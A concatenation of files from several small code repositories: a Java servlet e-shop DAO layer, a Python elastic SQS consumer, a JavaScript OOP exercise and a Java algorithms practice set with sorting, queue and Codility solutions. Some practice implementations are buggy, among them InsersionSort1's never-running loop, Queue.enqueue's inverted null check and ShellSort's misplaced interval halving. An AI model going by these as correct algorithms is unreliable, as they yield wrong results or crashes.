cus.setCusPhoto(rs.getString("cusPhoto"));
list.add(cus);
}
}catch(SQLException e){
e.printStackTrace();
}finally {
dbClose();
}
pageList.setPageData(list);
return pageList;
}
}
```
CustomerDao.java
```package Dao;
import pojo.*;
import java.util.List;
public interface CustomerDao {
page<Customer> pageQuery(int pageSize, int pageNumber);
int delCus(String id);
//根据ID查询个人信息
Customer queryById(String id);
int updateById(Customer cus);
/**
* 前台方法
*/
//登录
List<Customer> login(String name,String pwd);
//注册
int addCus(Customer cus);
//查询商品
List<Goods> query();
//添加-购物车
int addShop(Shoppingcar shop);
//修改-购物车
int updateShop(Shoppingcar shop);
//删除-购物车
int delShop(String id);
//查询订单
Orderse queryOrder(String id);
//模糊查询商品信息
List<Goods> queryLikeGoods(String id,String name);
}
```
bigServlet.java
```package Servlet;
import pojo.Bigclass;
import pojo.page;
import service.impl.BigclassServiceDaoImpl;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.IOException;
import java.io.PrintWriter;
@WebServlet(name = "bigServlet",urlPatterns = "/doBig")
public class bigServlet extends HttpServlet {
@Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
doGet(request, response);
}
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
//统一字符集
request.setCharacterEncoding("utf-8");
response.setCharacterEncoding("utf-8");
response.setContentType("text/html;charset=utf-8");
//获取输入流对象
PrintWriter out = response.getWriter();
//获取path路径
String path = request.getContextPath();
//获取session对象
HttpSession session = request.getSession();
//获取bigClassService的对象
BigclassServiceDaoImpl bigDao=BigclassServiceDaoImpl.getInstance();
String action=request.getParameter("action");
if (action!=null && action.equals("queryBig")){
//定义每页显示的条数
int pageSize = 5;
//接收要查看的页码
String ss = request.getParameter("pageNumber");
if (ss != null && !ss.equals("")) {
int pageNumber=Integer.parseInt(ss);
//调用带有分页的查询业务方法
page<Bigclass> page = bigDao.bigPageQueryAll(pageNumber,pageSize);
session.setAttribute("Page", page);
request.setAttribute("ServletUrl", "/doBig?action=queryBig");
request.getRequestDispatcher(path + "/page/showBigclass.jsp").forward(request, response);
}
}
/**
* 删除
*/
if (action!=null && action.equals("delBig")) {
String id=request.getParameter("id");
int a=bigDao.delBig(id);
if (a>0){
response.sendRedirect(path+"doBig?action=queryBig&pageNumber=1");
}else {
out.println("删除失败");
}
}
/**
* 修改
*/
if (action!=null && action.equals("bb")){
String id=request.getParameter("id");
Bigclass b=bigDao.queryById(id);
session.setAttribute("xgBig",b);
response.sendRedirect(path+"page/updateBigInfo.jsp");
}
if (action!=null && action.equals("updateBig")){
String id=request.getParameter("id");
String name=request.getParameter("bigName");
String text=request.getParameter("bigText");
if (id!=null && !id.equals("")){
long id2=Long.valueOf(id);
Bigclass bigclass= new Bigclass(id2,name,text);
int a=bigDao.updateById(bigclass);
if (a>0){
//修改成功
response.sendRedirect(path+"doBig?action=queryBig&pageNumber=1");
}
}
}
/**
* 添加大分类
*/
if (action!=null && action.equals("addBig")){
String id=request.getParameter("id");
String name=request.getParameter("name");
String text=request.getParameter("text");
if (id!=null&&!id.equals("") ){
long id2=Long.valueOf(id);
Bigclass b=new Bigclass(id2,name,text);
int a=bigDao.addBig(b);
if (a>0){
//添加成功
response.sendRedirect(path+"doBig?action=queryBig&pageNumber=1");
}else{
out.println("添加失败");
}
}
}
/**
* 级联查
*/
if (action!=null && action.equals("queryJlBig")){
}
}
}
```
GoodsDao.java
```package Dao;
import pojo.Goods;
import pojo.goodsSmaSell;
import pojo.page;
import java.util.List;
public interface GoodsDao {
page<goodsSmaSell> goodsPageQueryAll(int pageNumber, int pageSize);
int delGoods(String id);
int add(Goods gg);
List<Goods> query(String sql, Object[] parameter);
Goods queryById(String id);
int update(Goods gg);
/**
* 上面的不用
* 前端方法如下
*/
//
}
```
SellerServiceDao.java
```package service;
import pojo.Goods;
import pojo.Seller;
import pojo.page;
import java.util.List;
public interface SellerServiceDao {
page<Seller> sellPageQuery(int pageNumber, int pageSize);
int delSell(String id);
int addSell(Seller se);
int uppdateSell(Seller se);
Seller queryById(String id);
List<Seller> queryById();
List<Goods> queryGoods(String id);
//级联查询
Goods ggQueryLike(String goodsid,String sellerid,String name);
}
```
OrderServiceDaoImpl.java
```package service.impl;
import Dao.impl.OrderDaoImpl;
import pojo.Orderse;
import pojo.page;
import service.OrderServiceDao;
public class OrderServiceDaoImpl implements OrderServiceDao{
private static OrderServiceDaoImpl ourInstance = new OrderServiceDaoImpl();
public static OrderServiceDaoImpl getInstance() {
return ourInstance;
}
private OrderServiceDaoImpl() {
}
private OrderDaoImpl orderDao=new OrderDaoImpl();
public page<Orderse> orderPageQueryAll(int pageNumber, int pageSize) {
return orderDao.orderPageQueryAll(pageNumber,pageSize);
}
public int delOrder(String id) {
return orderDao.delOrder(id);
}
public int updateById(Orderse oo) {
return 0;
}
public Orderse queryByid(String id) {
return null;
}
}
```
OrderServiceDao.java
```package service;
import pojo.Orderse;
import pojo.page;
public interface OrderServiceDao {
page<Orderse> orderPageQueryAll(int pageNumber, int pageSize);
int delOrder(String id);
int updateById(Orderse oo);
Orderse queryByid(String id);
}
```
|
123yoyo6/123lucas6
|
123yoyo6/123lucas6
README.md
```# 123lucas6
Hello world
```
|
12819953/learning_log
|
12819953/learning_log
README.md
```# learning_log
Test python
Only test python Django
```
|
12Tech/ElastiQS
|
12Tech/ElastiQS
README.md
```# ElastiQS
Elastic SQS consumer
```
elastiqs.py
```
import logging
import time
import threading
import sys
from collections import deque
import multiprocessing
import logging
from datetime import datetime
import boto3
from exceptions import InvalidQueueError, EmptyProductionQueueError
logging.basicConfig(stream=sys.stdout, level=logging.INFO)
logger = logging.getLogger('elastiqs')
def queue_object_factory(QueueName, QueueOwnerAWSAccountId=None):
try:
sqs = boto3.resource('sqs')
queue_creation_args = {
"QueueName": QueueName
}
if QueueOwnerAWSAccountId is not None:
queue_creation_args.update({
"QueueOwnerAWSAccountId": QueueOwnerAWSAccountId
})
return sqs.get_queue_by_name(**queue_creation_args)
except Exception as e:
print(e)
raise InvalidQueueError(e)
class MessageConsumer(threading.Thread):
def __init__(self, consumption_queue, production_queue, consumptions, *args, **kwargs):
super().__init__(*args, **kwargs)
self.consumption_queue = consumption_queue
self.production_queue = production_queue
self.consumptions = consumptions
self.keep_consuming = True
def run(self):
while self.keep_consuming:
for message in self.receive_messages():
self.consumptions.append(datetime.utcnow().timestamp())
self.production_queue.append(message)
logger.info("Exiting thread")
def receive_messages(self):
for message in self.consumption_queue.receive_messages(
MaxNumberOfMessages=10,
VisibilityTimeout=300,
WaitTimeSeconds=20):
yield message
class ElastiQS(object):
def __init__(self, QueueName, QueueOwnerAWSAccountId=None, *args, **kwargs):
super().__init__(*args, **kwargs)
self.production_queue = deque()
self.consumption_queue = queue_object_factory(QueueName, QueueOwnerAWSAccountId)
self.threads = []
# Stats
self.productions = deque()
self.consumptions = deque()
@property
def max_threads(self):
"""Max number of threads which will be spawned"""
return 3 * multiprocessing.cpu_count() + 1
@property
def production_rate(self):
"""Productions per time unit
:return: Number of productions per time unit
"""
try:
return len(self.productions) / (self.productions[-1] - self.productions[0])
except:
return 0
@property
def consumption_rate(self):
"""Consumptions per time unit
:return: Number of consumptions per time unit
"""
try:
return len(self.consumptions) / (self.consumptions[-1] - self.consumptions[0])
except:
return 0
@property
def throughtput_rate(self):
try:
return self.production_rate / self.consumption_rate
except:
return 0
def update_rates(self):
"""Update production/consumption rate"""
self.productions.append(datetime.utcnow().timestamp())
# logmsg = "Throughtput rate: {}".format(self.throughtput_rate)
# logger.info(logmsg)
logmsg = "Rates: {}/{}/{}".format(self.production_rate, self.consumption_rate, self.throughtput_rate)
logger.info(logmsg)
# Optimum rate 0.9 < rate < 0.97
if self.throughtput_rate < 0.9:
self.consume_slower()
if self.throughtput_rate > 0.999:
self.consume_faster()
def start_consuming(self):
for _ in range(self.max_threads):
self.consume_faster()
def consume_faster(self):
"""Spawn a new thread in order to increase the performance of the consumer
"""
if len(self.threads) < self.max_threads:
logger.info("Spawning new thread")
consuming_thread = MessageConsumer(
self.consumption_queue,
self.production_queue,
self.consumptions)
consuming_thread.setDaemon(True)
consuming_thread.start()
self.threads.append(consuming_thread)
else:
logger.info("I cannot consume faster, sorry")
def consume_slower(self):
if len(self.threads) > 1:
logger.info("Exiting running thread")
first_thread = self.threads.pop()
first_thread.keep_consuming = False
def produce_one(self):
if len(self.production_queue):
self.update_rates()
return self.production_queue.popleft()
else:
raise EmptyProductionQueueError()
def main():
q = ElastiQS(QueueName='elasticQueue')
q.start_consuming()
while True:
def produce():
try:
message = q.produce_one()
message.delete()
except EmptyProductionQueueError:
# Empty Queue
pass
except KeyboardInterrupt:
if not len(q.threads):
logger.info("Nothing else to kill. Exiting.")
sys.exit(0)
else:
q.consume_slower()
threading.Thread(target=produce).start()
time.sleep(0.01)
if __name__ == "__main__":
main()```
populate.py
```import json
import time
import threading
from elastiqs import queue_object_factory
def main():
queue = queue_object_factory(QueueName='elasticQueue')
for _ in range(10000):
threading.Thread(target=lambda:queue.send_message(MessageBody=json.dumps({"value": _})) ).start()
time.sleep(0.01)
if __name__ == "__main__":
main()```
exceptions.py
```class InvalidQueueError(Exception):
pass
class EmptyProductionQueueError(Exception):
pass```
|
12abenedict/OOPExercise
|
12abenedict/OOPExercise
app.js
```// 1a
const elf = {
title: `Elf`,
main: `Buddy`,
// 1b
quote: function () {
return `The best way to sprad Christmas cheer is singing loud for all to hear`;
},
// 1c
info: function () {
return `${this.title} is about ${this.main}`;
// or
//return this.title + 'is about' + this.main;
},
};
console.log(elf);
//2a
const muppetXmas = {
title: `The Muppet Christmas Carol`,
main: `Ebenezer Scrooge`,
//2b
quote: function () {
return `Wherever you find love it feels like Christmas`;
},
// 2c
info: function () {
return `${this.title} is about ${this.main}`;
},
};
//3a
function XmasMovie(title, main) {
this.title = title;
this.main = main;
}
//3b
XmasMovie.prototype.info = function () {
return `${this.title} is about ${this.main}`;
};
// 3c
const elf1 = new XmasMovie(`Elf`, `Buddy`);
console.log(elf1);
console.log(elf1.info());
//3d
const muppetXmas1 = new XmasMovie(
`The Muppet Christ Carol`,
`Ebenezer Scrooge`
);
console.log(muppetXmas1);
console.log(muppetXmas1.info());
// 4a
class CM {
constructor(title, main) {
this.title = title;
this.main = main;
}
// 4b
info() {
return `${this.title} is about ${this.main}`;
}
//4e
static loveXmas(){
}
}
//4c
const elf2 = new CM(`Elf`, `Buddy`);
console.log(elf2);
console.log(elf2.info());
//4d
const muppetXmas2 = new CM(`The Muppet Christ Carol`, `Ebenezer Scrooge`);
console.log(muppetXmas2);
console.log(muppetXmas2.info());
//4f
console.log(CM.loveXmas());
//5a
class CMCast extends CM {
//5b
constructor(title, main, cast){
//5c
super(title, main);
this.cast = cast;
}
//BONUS 6a
static create(title, main, cast){
return new CMCast(title, main, cast);
}
}
//5d
const elf3 = new CMCast(
`Elf`,
`Buddy`,
{
buddy: `Will Ferrel`,
walter: `James Caan`,
jovie: `Zooey Deschanel`,
papaElf: `Bob Newhart`
}
);
console.log(elf3);
console.log(elf3.info());
console.log(CMCast.loveXmas());
//5e
const muppetXmas3 = new CMCast(
`The Muppet Christmas Carol`,
`Ebenezer Scrooge`,
{
scrooge: `Michael Caine`,
charlesDickens: `The Great Gonzo`,
bobCrachit: `Kermit The Frog`
}
);
//BONUS 6b
const homeAlone = CMCast.create(
`Home Alone`,
`Kevin McCalister`,
{
kevin: `Macaulay Culkin`,
harry: `Joe Pesci`,
marv: `Daniel Stern`
}
);
// 6c
console.log(homeAlone);
console.log(homeAlone.info());
```
|
12bme/Algorithm
|
12bme/Algorithm
SieveOfEratosthenes.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
/**
*
* @author jiseonoh
*/
public class SieveOfEratosthenes {
public boolean[] solution(int max) {
boolean[] flags = new boolean[max+1];
int count = 0;
// 0번째와 1번째를 제외한 모든 원소의 값을 true로 초기화
if(max == 0) flags[0] = false;
if(max >= 1) flags[1] = false;
for(int i=0; i <= max; i++) flags[i] = true;
int prime = 2;
while(prime <= max) {
/* 소수의 정수배인 수들을 솎아냄 */
crossOff(flags, prime);
/* Find next value which is true. */
prime = getNextPrime(flags, prime);
if(prime >= flags.length) break;
}
return flags;
}
public void crossOff(boolean[] flags, int prime) {
/*
prime의 정수배인 수들을 솎아낸다.
k < prime인 k에 대한 k*prime은
앞서 실행된 루프에서 솎아졌을 것이므로
prime * prime 부터 시작한다.
*/
for(int i = prime * prime; i < flags.length; i += prime) {
flags[i] = false;
}
}
public int getNextPrime(boolean[] flags, int prime) {
int next = prime + 1;
while (next < flags.length && !flags[next]) {
next++;
}
return next;
}
// 개선의 여지는 남아있다. 한 가지 방법은 배열에 홀수만 저장하는 것이다.
// 그러면 메모리 요구량을 반으로 줄일 수 있다.
}
```
LockedATM.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codinginterview;
import java.util.concurrent.locks.Lock;
import java.util.concurrent.locks.ReentrantLock;
/**
*
* @author jiseonoh
*/
public class LockedATM {
private Lock lock;
private int balance = 100;
public LockedATM() {
lock = new ReentrantLock();
}
public int withdraw(int value) {
lock.lock();
int temp = balance;
try {
Thread.sleep(100);
temp = temp - value;
Thread.sleep(100);
balance = temp;
} catch(InterruptedException e) {}
lock.unlock();
return temp;
}
public int deposit(int value) {
lock.lock();
int temp = balance;
try {
Thread.sleep(100);
temp = temp + value;
Thread.sleep(300);
balance = temp;
} catch (InterruptedException e) { }
lock.unlock();
return temp;
}
}
```
InsersionSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
class InsersionSort {
public static void main(String[] agrs) {
Integer[] arr = {10, 2, 6, 4, 3, 7, 5};
InsersionSort1 sort1 = new InsersionSort1();
sort1.insersionSort(arr);
InsersionSort2 sort2 = new InsersionSort2();
sort2.insersionSort();
}
}
/*
Brief Explanation
- The list is always divided into 2 sides: a sorted left-hand side and an unsorted right-hand side.
- The first value in the unsorted side (aka firstUnsorted) gets assigned to itemToInsert.
shifter's job is to fined to location to put itemToInsert.
shifter shifts all the values that are greater than the itemToInsert onew index to their right.
Then itemToInsert is placed in sorted order on the sorted side of the list.
The sorted side just became one element larget and the unsorted side is one element smaller.
This process continues until firstUnsorted has iterated to the end of the list.
Time Complexity
- best time: n
- average time: n^2
- worst time: n^2
*/
class InsersionSort1 {
int firstUnsorted, shifter;
Comparable itemToInsert;
public void insersionSort(Comparable[] array) {
for(firstUnsorted = 1; firstUnsorted < array.length; firstUnsorted++) {
itemToInsert = array[firstUnsorted];
shifter = firstUnsorted;
while(shifter < 0 && itemToInsert.compareTo(array[shifter - 1]) < 0) {
array[shifter] = array[shifter - 1];
shifter--;
}
array[shifter] = itemToInsert; // 기준의 최종 위치.
}
}
}
/*
삽입정렬
- 전체 리스트를 순차적으로 돌면서 sorting된 리스트에서 실제 자신의 위치를 찾아감 (sorted 부분/unsorted 부분)
최악의 경우(역으로 정렬되어 있을 경우)엔 n-1개, n-2개, ..., 1개씩 비교를 반복하여 시간복잡도는 O(n^2)이고,
이미 정렬되어 있는 경우에는 한번씩 밖에 비교를 하지 않아 시간복잡도는 O(n)입니다.
*/
class InsersionSort2 {
int[] arr = {10, 2, 6, 4, 3, 7, 5};
public void insersionSort() {
for(int i = 1; i < arr.length; i++) {
int standard = arr[i]; // 기준
int aux = i - 1; // 비교할 대상
while(aux >= 0 && standard < arr[aux]) {
arr[aux + 1] = arr[aux]; // 비교대상이 큰 경우 오른쪽으로 밀어냄
aux--;
}
arr[aux+1] = standard; // 기준값 저장
}
printArr(arr);
}
public void printArr(int[] array) {
for(int i = 0; i < array.length; i++) {
System.out.print(array[i] + "");
}
}
}
// 공간복잡도는 O(n)으로
class InsersionSort3 {
public void insersionSort(Comparable[] array) {
// 1. 필요한 변수
int size = array.length;
int firstUnsorted, sortedLoop;
Comparable targetItem;
// 2. sorted, unsorted
for(firstUnsorted = 1; firstUnsorted < size; firstUnsorted++) {
targetItem = array[firstUnsorted]; // 기준
for(sortedLoop = firstUnsorted; sortedLoop >= 0; sortedLoop--) {
// 오름차순 정렬
if(targetItem.compareTo(array[sortedLoop]) >= 0) break;
array[sortedLoop] = array[sortedLoop - 1];
}
array[sortedLoop] = targetItem;
}
}
}```
SelectionSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
public class SelectionSort {
public static void main(String[] agrs) {
Integer[] arr = {10, 2, 6, 4, 3, 7, 5};
SelectionSort1 sort1 = new SelectionSort1();
sort1.selectionSort(arr);
int[] arr2 = {10, 2, 6, 4, 3, 7, 5};
SelectionSort2 sort2 = new SelectionSort2();
sort2.selectionSort(arr2);
}
}
/*
Brief Explanation
- start begins at the front of the list and cur begins at the index ahead of start.
- cur then iterates to the end of the list looking for the smallest value.
- Once cur reaches the end of the list, start and smallest swap values.
Time Complexity
- best time: n^2
- average time: n^2
- worst time: n^2
*/
class SelectionSort1 {
public void selectionSort(Comparable[] array) {
// 변수는 이런식으로 잡는게 더 좋을까.
int start, smallest, cur;
Comparable temp;
for(start = 0; start < array.length-1; start++) {
smallest = start;
for(cur = start + 1; cur < array.length; cur++) {
if(array[cur].compareTo(array[smallest]) < 0)
smallest = cur;
}
temp = array[start];
array[start] = array[smallest];
array[smallest] = temp;
}
}
}
/*
선택정렬의 연산시간
- 연산시간 공식 : O(n^2) = n(n-1) - (n-1)/2 = n(n-1)/2
선택정렬의 장점
- 데이터의 양이 적을 때, 아주 좋은 성능을 나타낸다.
- 작은 값을 선택하기 위해서 비교는 여러번 하지만 교환횟수가 작다
선택정렬의 단점
- 가장 작은 값과 현재값을 교환하는 방식이라 현재값이 뒤쪽의 어디로 갈지 알수 없으므로 안전성이 없다.
- 100개 이상의 자료에 대해서는 속도가 급격히 떨어져서 적절히 사용되기가 힘들다.
*/
class SelectionSort2 {
public void selectionSort(int[] arr) {
int size = arr.length;
int min; // 최솟값을 가진 데이터의 인덱스 저장 변수
int temp;
for(int i = 0; i < size-1; i++) { // size - 1 : 마지막 요소는 자연스럽게 정렬됨
min = i;
for(int j = i+1; j < size; j++) {
if(arr[min] > arr[j]) {
min = j;
}
}
temp = arr[min];
arr[min] = arr[i];
arr[i] = temp;
}
}
}
// 공간복잡도는 O(n)으로
class SelectionSort3 {
public void selectionSort(Comparable[] array) {
// 1. 필요한 변수
int size = array.length;
int curMin;
Comparable temp;
// 2. 실제 정렬
for(int outerIdx = 0; outerIdx < size; outerIdx++) {
curMin = outerIdx;
for(int innerIdx = outerIdx+1; innerIdx < size; innerIdx++) {
if(array[curMin].compareTo(array[innerIdx]) > 0) curMin = innerIdx;
}
temp = array[outerIdx];
array[outerIdx] = array[curMin];
array[curMin] = temp;
}
}
}
```
Stack.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.datastructure;
/**
*
* @author jiseonoh
*/
public class Stack {
private class Node {
private Object data;
private Node next;
public Node(Object data) {
this.data = data;
this.next = null;
}
}
Node top;
public Object pop() {
if(top != null) {
Object item = top.data;
top = top.next;
return item;
}
return null;
}
public void push(Object item) {
Node t = new Node(item);
t.next = top;
top = t;
}
Node peek() {
return top;
}
}
```
StringCopy.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
import java.util.*;
/**
*
* @author jiseonoh
*/
public class StringCopy {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
String input = sc.nextLine();
StringCopySolution solution = new StringCopySolution();
System.out.println(solution.solve(input));
}
}
class StringCopySolution {
public String solve(String input) {
int length = input.length();
if(input.length() <= 1) return input;
String result = "";
char[] inputCharacters = new char[length]; // Reverse String 용
for(int index=0; index < length; index++){
inputCharacters[index] = input.charAt(index);
result += input.charAt(index);
}
return result;
}
}
```
MaxMatrixPath.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm;
/*
N x N개의 방에 임의의 양수가 들어있습니다. 왼쪽 위에서 출발해서 맨 오른쪽 아래로 이동하려 할 때,
지나치는 방들의 숫자의 합이 최대가 되는 경로를 택했을 때 나오는 최댓값을 구하시오.
(단, 이동은 오른쪽 혹은 아래쪽으로만 가능하고, 위로 혹은 왼쪽으로 이동이 불가하고, 대각선으로의 이동도 불가능 합니다.)
- 입력
첫째 줄에 테스트의 개수 T가 주어진다. 각 테스트 케이스는 다음과 같이 구성된다.
첫째 줄에 가로칸의 개수 N이 주어진다. 그리고 그 다음줄부터 N개의 행값이 주어진다.
예)
1
4
6 7 12 5
5 3 11 18
7 17 3 3
8 10 14 9
- 출력
최적의 경로로 이동했을 때, 경로상의 값들을 더한 값을 출력한다.
예) 1번 테스트의 경우 더한 최댓값이 68인 경우
# 1: 68
[풀이]
전형적인 다이나믹 프로그래밍 문제이다. 그러나, 다이나믹 예제로 앞에서 다뤘던 '피보나치 수열'이나
'파스칼의 삼각형'이 수열의 관계식을 그리 어렵지 않게 유추할 수 있고, 그 관계식만 찾아내면 프로그래밍이 어렵지 않았던데 반해,
이 문제는 수열처럼 간단한 관계식을 찾아낼수 없다. 좀 더 깊게 생각해야 합니다.
이동은 좌상단에서 우하단으로 한다고 했다. 경로상에 있는 모든 값들을 더했을 때 최대가 되는 최적의 경로를 찾아야 되는 것이고,
그렇다면, 제일 마지막 종착점이 우하단에 최종적으로 도착해야 하는데, 이 최종점에서 생각해보자.
이 최종점에서 보면, 그 전에 있을 수 있는 방은 좌측이거나 상단이다.
3이 들어있는 위쪽에서 오는 것이 좋은지, 14가 있는 왼쪽에서 오는 것이 좋은지는,
만약에 3까지의 경로최댓값과 14까지의 경로 최댓값을 안다면, 두 개를 비교해서 더 큰 값을 택하면 될 것이고,
답은 둘 중에서 큰 값에 마지막 방의 숫자인 9를 더한 것이 된다.
(다이나믹 알고리즘을 사용할 수 있을것 같은 느낌이 든다.)
좀 더 경우의 수를 생각해보자.
좌상단 방의 경우는 출발점이 되고, 제일 위칸에 있는 수는, 올 수 있는 방향이 왼쪽에서 밖에 없다.
제일 왼쪽에 있는 숫자의 경우는 위에서 부터 오는 경우만 존재할 것이다.
이제, 다이나믹 프로그래밍스럽게 되도록 식을 만들어 보자. 먼저 사용되는 표현에 대한 정의를 하자
- 방으로 구성된 테이블을, 좌상단에서 우하단으로 증가하는 행렬로 보고, 행과열은 0에서부터 시작하고,
행은 i, 열은 j로 나타내기로 하자.
- m(i, j) : (i,j)에 해당하는 방의 값
- c(i, j) : (i, j)까지 최적의 경로로 왔을 때 최댓값
위에서 생각한 각 경우의 수를 고려하면서, 정의한 표현을 가지고 수식으로 나타내보자.
- c(0, 0) = m(0, 0) // 좌상단 방의 경우
- c(0, j) = c(0, j-1) + m(0, j), j>0 // 맨 위에 있는 방의 경우
- c(i, 0) = c(i-1, 0) + m(i, 0), i>0 // 맨 왼쪽에 있는 방의 경우
- c(i,j) = Max(c(i-1), j), c(i, j-1)) + m(i, j), i>0, j>0 //일반적인 경우, 위 혹은 왼쪽 중 최대인 곳 + 자신의 값
경우의 수가 좀 더 많긴 하지만 '피보나치 수열'이나 '파스칼의 삼각형'처럼
점화식 형태의 수식이 도출되었고, 이제 프로그래밍을 할 수 있겠다.
이를 효율성을 고려하지 않고 그대로 수식 그대로를 재귀호출형태로 코딩하면 다음과 같겠다.
*/
import java.util.Scanner;
/**
* @author jiseonoh
*/
class MaxMatrixPath {
public static void main(String[] args) throws Exception {
Scanner sc = new Scanner(System.in);
int T, N;
T = sc.nextInt();
for(int testNum=1; testNum<=T; testNum++) {
N = sc.nextInt();
int[][] m = new int[N][N];
int[][] cache = new int[N][N];
for(int r=0; r<N; r++) {
for(int c=0; c<N; c++) {
m[r][c] = sc.nextInt();
}
}
cache[0][0] = m[0][0];
System.out.println("#"+testNum+": " + cost(m, N-1, N-1, cache));
}
}
private static int cost(int[][] m, int i, int j) {
if(i==0 && j==0) return m[0][0];
if(i==0) return cost(m, 0, j-1) + m[0][j];
if(j==0) return cost(m, i-1, 0) + m[i][0];
return (Math.max(cost(m, i-1, j), cost(m, i, j-1)) + m[i][j]);
}
private static int cost(int[][] m, int i, int j, int[][] cache) {
if(i==0 && j==0) return cache[0][0];
if(i==0){
cache[i][j] = (cache[0][j-1] != 0) ? (cache[0][j-1] + m[0][j])
: (cost(m,0,j-1,cache) + m[0][j]);
return cache[i][j];
}
if(j==0) {
cache[i][j] = (cache[i-1][0] != 0) ? (cache[i-1][0] + m[i][0])
: (cost(m, i-1, 0, cache) + m[i][0]);
return cache[i][j];
}
int A = (cache[i-1][j] != 0) ? (cache[i-1][j]) : (cost(m, i-1, j, cache));
int B = (cache[i][j-1] != 0) ? (cache[i][j-1]) : (cost(m, i, j-1, cache));
cache[i][j] = Math.max(A, B) + m[i][j];
return cache[i][j];
}
}
```
CyclicRotation.java
```package codility;
/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
import java.util.*;
/**
*
* @author jiseonoh
*/
public class CyclicRotation {
public static void main(String[] args) {
int[] inputArray = {3, 8, 9, 7, 6};
Solution mySolution = new Solution();
mySolution.solution(inputArray, 3);
}
}
class Solution {
public int[] solution(int[] A, int K) {
// input Array => A, test case coding
int length = A.length;
if(length <= 1) return A;
else {
int rotationCount = K%length; // real rotation count
if(rotationCount == 0) return A;
Queue pre = new LinkedList();
Queue post = new LinkedList();
int gap = length - rotationCount;
for(int index=0; index < length; index++) {
if(gap == 0) pre.offer(A[index]);
else {
gap--;
post.offer(A[index]);
}
}
for(int index=0; index < length; index++) {
if(pre.peek() != null) { A[index] = (int)pre.poll(); }
else A[index] = (int)post.poll();
}
return A;
}
}
}
```
Queue.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.datastructure;
/**
*
* @author jiseonoh
*/
public class Queue {
private class Node {
private Object data;
private Node next;
public Node(Object input) {
this.data = input;
this.next = null;
}
public String toString() {
return String.valueOf(data);
}
}
Node first, last;
public void enqueue(Object item) {
if(null != first) {
last = new Node(item);
first = last;
} else {
last.next = new Node(item);
last = last.next;
}
}
public Object dequeue(Node n) {
if(null != first) {
Object item = first.data;
first = first.next;
return item;
}
return null;
}
}
```
BinaryGap.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package codility;
/**
*
* @author jiseonoh
*/
public class BinaryGap {
public int solution(int N) {
String binaryString = Integer.toBinaryString(N);
int gap = 0;
if(binaryString.contains("1")){
String[] binaryStringArray = binaryString.substring(binaryString.indexOf("1"), binaryString.lastIndexOf("1")).split("1");
for(String zeroString : binaryStringArray) {
if(gap < zeroString.length()) gap = zeroString.length();
}
} else {
return gap;
}
return gap;
}
}
```
P1000.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package backjoon;
import java.util.Scanner;
/**
*
* @author jiseonoh
*/
public class P1000 {
public static void main(String[] args) {
Scanner sc = new Scanner(System.in);
int firstInteger;
int secondInteger;
while(true){
firstInteger = sc.nextInt();
if(firstInteger > 0) break;
}
while(true){
secondInteger = sc.nextInt();
if(secondInteger < 10) break;
}
System.out.println(firstInteger+secondInteger);
}
}
```
ShellSort.java
```/*
* To change this license header, choose License Headers in Project Properties.
* To change this template file, choose Tools | Templates
* and open the template in the editor.
*/
package algorithm.sort;
/**
*
* @author jiseonoh
*/
public class ShellSort {
public static void main(String[] agrs) {
int[] arr = {69, 10, 30, 2, 16, 8, 31, 22};
shellSort(arr);
}
public static void intervalSort(int arr[], int begin, int end, int interval) {
int item = 0;
int j = 0;
for(int i = begin + interval; i <= end; i = i + interval) {
item = arr[i];
for (j = i - interval; j >= begin && item < arr[j]; j-= interval)
arr[j + interval] = arr[j];
arr[j + interval] = item;
}
}
public static void shellSort(int arr[]) {
int interval = 0;
int t = 1;
int arrSize = arr.length;
interval = arrSize / 2;
while(interval >= 1) {
for(int i = 0; i < interval; i++) {
intervalSort(arr, i, arrSize -1, interval);
System.out.println("셸 정렬" + t++ + "단계: interval => " + interval);
interval /= 2;
}
}
}
}
/*
Review the explanation of Insertion Sort since Shell Sort is considered a generalized Insertion Sort.
The behavior is similar to Insertion Sort, as firstUnsorted's value gets assigned to itemToInsert.
Instead of shifter looking just one index to the left,
it looks one hap distance to the left and continues in multiples of the gap distance until it has found a value less than itemToInsert.
The gap continues to be halved each time the nested inner loops complete until ti's value is 0.
Tip: Similar to Insertion Sort itemToInsert is always compared with values behind it in the list (to the left, on the sorted side).
Tip: The very last pass through the array is an Insertion Sort because the gap value is 1.
Time Complexity
- best time: depends on gap sequence
- average time: depends on gap sequence
- worst time: depends on gap sequence
*/
class ShellSort1 {
public void shellSort1(Comparable[] array) {
int gap, firstUnsorted, shifter;
Comparable itemToInsert;
for(gap = array.length/2; gap > 0; gap /= 2) {
for(firstUnsorted = gap; firstUnsorted < array.length; firstUnsorted++) {
itemToInsert = array[firstUnsorted];
shifter = firstUnsorted;
while(shifter >= gap && itemToInsert.compareTo(array[shifter-gap])<0) {
array[shifter] = array[shifter - gap];
shifter -= gap;
}
array[shifter] = itemToInsert;
}
}
}
